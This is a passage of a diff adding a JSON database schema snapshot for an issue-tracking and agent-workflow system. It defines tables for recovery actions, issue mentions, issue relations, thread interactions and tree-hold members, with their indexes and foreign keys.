+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "evidence": {
+          "name": "evidence",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'{}'::jsonb"
+        },
+        "next_action": {
+          "name": "next_action",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "wake_policy": {
+          "name": "wake_policy",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "monitor_policy": {
+          "name": "monitor_policy",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "attempt_count": {
+          "name": "attempt_count",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": true,
+          "default": 0
+        },
+        "max_attempts": {
+          "name": "max_attempts",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "timeout_at": {
+          "name": "timeout_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "last_attempt_at": {
+          "name": "last_attempt_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "outcome": {
+          "name": "outcome",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "resolution_note": {
+          "name": "resolution_note",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "resolved_at": {
+          "name": "resolved_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "issue_recovery_actions_company_source_status_idx": {
+          "name": "issue_recovery_actions_company_source_status_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "source_issue_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "status",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "issue_recovery_actions_company_owner_status_idx": {
+          "name": "issue_recovery_actions_company_owner_status_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "owner_agent_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "status",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "issue_recovery_actions_company_recovery_issue_idx": {
+          "name": "issue_recovery_actions_company_recovery_issue_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "recovery_issue_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "issue_recovery_actions_active_source_uq": {
+          "name": "issue_recovery_actions_active_source_uq",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "source_issue_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "where": "\"issue_recovery_actions\".\"status\" in ('active', 'escalated')",
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "issue_recovery_actions_active_fingerprint_uq": {
+          "name": "issue_recovery_actions_active_fingerprint_uq",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "source_issue_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "cause",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "fingerprint",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "where": "\"issue_recovery_actions\".\"status\" in ('active', 'escalated')",
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "issue_recovery_actions_company_id_companies_id_fk": {
+          "name": "issue_recovery_actions_company_id_companies_id_fk",
+          "tableFrom": "issue_recovery_actions",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "issue_recovery_actions_source_issue_id_issues_id_fk": {
+          "name": "issue_recovery_actions_source_issue_id_issues_id_fk",
+          "tableFrom": "issue_recovery_actions",
+          "tableTo": "issues",
+          "columnsFrom": [
+            "source_issue_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "issue_recovery_actions_recovery_issue_id_issues_id_fk": {
+          "name": "issue_recovery_actions_recovery_issue_id_issues_id_fk",
+          "tableFrom": "issue_recovery_actions",
+          "tableTo": "issues",
+          "columnsFrom": [
+            "recovery_issue_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "issue_recovery_actions_owner_agent_id_agents_id_fk": {
+          "name": "issue_recovery_actions_owner_agent_id_agents_id_fk",
+          "tableFrom": "issue_recovery_actions",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "owner_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "issue_recovery_actions_previous_owner_agent_id_agents_id_fk": {
+          "name": "issue_recovery_actions_previous_owner_agent_id_agents_id_fk",
+          "tableFrom": "issue_recovery_actions",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "previous_owner_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "issue_recovery_actions_return_owner_agent_id_agents_id_fk": {
+          "name": "issue_recovery_actions_return_owner_agent_id_agents_id_fk",
+          "tableFrom": "issue_recovery_actions",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "return_owner_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.issue_reference_mentions": {
+      "name": "issue_reference_mentions",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "source_issue_id": {
+          "name": "source_issue_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "target_issue_id": {
+          "name": "target_issue_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "source_kind": {
+          "name": "source_kind",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "source_record_id": {
+          "name": "source_record_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "document_key": {
+          "name": "document_key",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "matched_text": {
+          "name": "matched_text",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "issue_reference_mentions_company_source_issue_idx": {
+          "name": "issue_reference_mentions_company_source_issue_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "source_issue_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "issue_reference_mentions_company_target_issue_idx": {
+          "name": "issue_reference_mentions_company_target_issue_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "target_issue_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "issue_reference_mentions_company_issue_pair_idx": {
+          "name": "issue_reference_mentions_company_issue_pair_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "source_issue_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "target_issue_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "issue_reference_mentions_company_source_mention_record_uq": {
+          "name": "issue_reference_mentions_company_source_mention_record_uq",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "source_issue_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "target_issue_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "source_kind",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "source_record_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "where": "\"issue_reference_mentions\".\"source_record_id\" is not null",
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "issue_reference_mentions_company_source_mention_null_record_uq": {
+          "name": "issue_reference_mentions_company_source_mention_null_record_uq",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "source_issue_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "target_issue_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "source_kind",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "where": "\"issue_reference_mentions\".\"source_record_id\" is null",
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "issue_reference_mentions_company_id_companies_id_fk": {
+          "name": "issue_reference_mentions_company_id_companies_id_fk",
+          "tableFrom": "issue_reference_mentions",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "issue_reference_mentions_source_issue_id_issues_id_fk": {
+          "name": "issue_reference_mentions_source_issue_id_issues_id_fk",
+          "tableFrom": "issue_reference_mentions",
+          "tableTo": "issues",
+          "columnsFrom": [
+            "source_issue_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "issue_reference_mentions_target_issue_id_issues_id_fk": {
+          "name": "issue_reference_mentions_target_issue_id_issues_id_fk",
+          "tableFrom": "issue_reference_mentions",
+          "tableTo": "issues",
+          "columnsFrom": [
+            "target_issue_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.issue_relations": {
+      "name": "issue_relations",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "issue_id": {
+          "name": "issue_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "related_issue_id": {
+          "name": "related_issue_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "type": {
+          "name": "type",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "created_by_agent_id": {
+          "name": "created_by_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_by_user_id": {
+          "name": "created_by_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "issue_relations_company_issue_idx": {
+          "name": "issue_relations_company_issue_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "issue_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "issue_relations_company_related_issue_idx": {
+          "name": "issue_relations_company_related_issue_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "related_issue_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "issue_relations_company_type_idx": {
+          "name": "issue_relations_company_type_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "type",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "issue_relations_company_edge_uq": {
+          "name": "issue_relations_company_edge_uq",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "issue_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "related_issue_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "type",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "issue_relations_company_id_companies_id_fk": {
+          "name": "issue_relations_company_id_companies_id_fk",
+          "tableFrom": "issue_relations",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "issue_relations_issue_id_issues_id_fk": {
+          "name": "issue_relations_issue_id_issues_id_fk",
+          "tableFrom": "issue_relations",
+          "tableTo": "issues",
+          "columnsFrom": [
+            "issue_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "issue_relations_related_issue_id_issues_id_fk": {
+          "name": "issue_relations_related_issue_id_issues_id_fk",
+          "tableFrom": "issue_relations",
+          "tableTo": "issues",
+          "columnsFrom": [
+            "related_issue_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "issue_relations_created_by_agent_id_agents_id_fk": {
+          "name": "issue_relations_created_by_agent_id_agents_id_fk",
+          "tableFrom": "issue_relations",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "created_by_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.issue_thread_interactions": {
+      "name": "issue_thread_interactions",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "issue_id": {
+          "name": "issue_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "kind": {
+          "name": "kind",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "status": {
+          "name": "status",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'pending'"
+        },
+        "continuation_policy": {
+          "name": "continuation_policy",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'wake_assignee'"
+        },
+        "requested_resolver_policy": {
+          "name": "requested_resolver_policy",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'anyone'"
+        },
+        "effective_resolver_policy": {
+          "name": "effective_resolver_policy",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'anyone'"
+        },
+        "resolver_policy_provenance": {
+          "name": "resolver_policy_provenance",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'inherited'"
+        },
+        "effective_resolver_policy_source": {
+          "name": "effective_resolver_policy_source",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'requested'"
+        },
+        "idempotency_key": {
+          "name": "idempotency_key",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "source_comment_id": {
+          "name": "source_comment_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "source_run_id": {
+          "name": "source_run_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "title": {
+          "name": "title",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "summary": {
+          "name": "summary",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_by_agent_id": {
+          "name": "created_by_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "addressee_agent_id": {
+          "name": "addressee_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_by_user_id": {
+          "name": "created_by_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "resolved_by_agent_id": {
+          "name": "resolved_by_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "resolved_by_run_id": {
+          "name": "resolved_by_run_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "resolved_by_user_id": {
+          "name": "resolved_by_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "payload": {
+          "name": "payload",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "result": {
+          "name": "result",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "resolved_at": {
+          "name": "resolved_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "issue_thread_interactions_issue_idx": {
+          "name": "issue_thread_interactions_issue_idx",
+          "columns": [
+            {
+              "expression": "issue_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "issue_thread_interactions_company_issue_created_at_idx": {
+          "name": "issue_thread_interactions_company_issue_created_at_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "issue_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "created_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "issue_thread_interactions_company_issue_status_idx": {
+          "name": "issue_thread_interactions_company_issue_status_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "issue_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "status",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "issue_thread_interactions_company_issue_idempotency_uq": {
+          "name": "issue_thread_interactions_company_issue_idempotency_uq",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "issue_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "idempotency_key",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "where": "\"issue_thread_interactions\".\"idempotency_key\" IS NOT NULL",
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "issue_thread_interactions_source_comment_idx": {
+          "name": "issue_thread_interactions_source_comment_idx",
+          "columns": [
+            {
+              "expression": "source_comment_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "issue_thread_interactions_addressee_agent_idx": {
+          "name": "issue_thread_interactions_addressee_agent_idx",
+          "columns": [
+            {
+              "expression": "addressee_agent_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "issue_thread_interactions_company_id_companies_id_fk": {
+          "name": "issue_thread_interactions_company_id_companies_id_fk",
+          "tableFrom": "issue_thread_interactions",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "issue_thread_interactions_issue_id_issues_id_fk": {
+          "name": "issue_thread_interactions_issue_id_issues_id_fk",
+          "tableFrom": "issue_thread_interactions",
+          "tableTo": "issues",
+          "columnsFrom": [
+            "issue_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "issue_thread_interactions_source_comment_id_issue_comments_id_fk": {
+          "name": "issue_thread_interactions_source_comment_id_issue_comments_id_fk",
+          "tableFrom": "issue_thread_interactions",
+          "tableTo": "issue_comments",
+          "columnsFrom": [
+            "source_comment_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "issue_thread_interactions_source_run_id_heartbeat_runs_id_fk": {
+          "name": "issue_thread_interactions_source_run_id_heartbeat_runs_id_fk",
+          "tableFrom": "issue_thread_interactions",
+          "tableTo": "heartbeat_runs",
+          "columnsFrom": [
+            "source_run_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "issue_thread_interactions_created_by_agent_id_agents_id_fk": {
+          "name": "issue_thread_interactions_created_by_agent_id_agents_id_fk",
+          "tableFrom": "issue_thread_interactions",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "created_by_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "issue_thread_interactions_addressee_agent_id_agents_id_fk": {
+          "name": "issue_thread_interactions_addressee_agent_id_agents_id_fk",
+          "tableFrom": "issue_thread_interactions",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "addressee_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "issue_thread_interactions_resolved_by_agent_id_agents_id_fk": {
+          "name": "issue_thread_interactions_resolved_by_agent_id_agents_id_fk",
+          "tableFrom": "issue_thread_interactions",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "resolved_by_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "issue_thread_interactions_resolved_by_run_id_heartbeat_runs_id_fk": {
+          "name": "issue_thread_interactions_resolved_by_run_id_heartbeat_runs_id_fk",
+          "tableFrom": "issue_thread_interactions",
+          "tableTo": "heartbeat_runs",
+          "columnsFrom": [
+            "resolved_by_run_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.issue_tree_hold_members": {
+      "name": "issue_tree_hold_members",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "hold_id": {
+          "name": "hold_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "issue_id": {
+          "name": "issue_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "parent_issue_id": {
+          "name": "parent_issue_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "depth": {
+          "name": "depth",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": true,
+          "default": 0
+        },
+        "issue_identifier": {
+          "name": "issue_identifier",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "issue_title": {
+          "name": "issue_title",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "issue_status": {
+          "name": "issue_status",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "assignee_agent_id": {
+          "name": "assignee_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "assignee_user_id": {
+          "name": "assignee_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "active_run_id": {
+          "name": "active_run_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "active_run_status": {
+          "name": "active_run_status",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "skipped": {
+          "name": "skipped",
+          "type": "boolean",
+          "primaryKey": false,
+          "notNull": true,
+          "default": false
+        },
+        "skip_reason": {
+          "name": "skip_reason",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "issue_tree_hold_members_hold_issue_uq": {
+          "name": "issue_tree_hold_members_hold_issue_uq",
+          "columns": [
+            {
+              "expression": "hold_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "issue_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "issue_tree_hold_members_company_issue_idx": {
+          "name": "issue_tree_hold_members_company_issue_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "issue_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "issue_tree_hold_members_hold_depth_idx": {
+          "name": "issue_tree_hold_members_hold_depth_idx",
+          "columns": [
+            {
+              "expression": "hold_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "depth",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "issue_tree_hold_members_company_id_companies_id_fk": {
+          "name": "issue_tree_hold_members_company_id_companies_id_fk",
+          "tableFrom": "issue_tree_hold_members",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
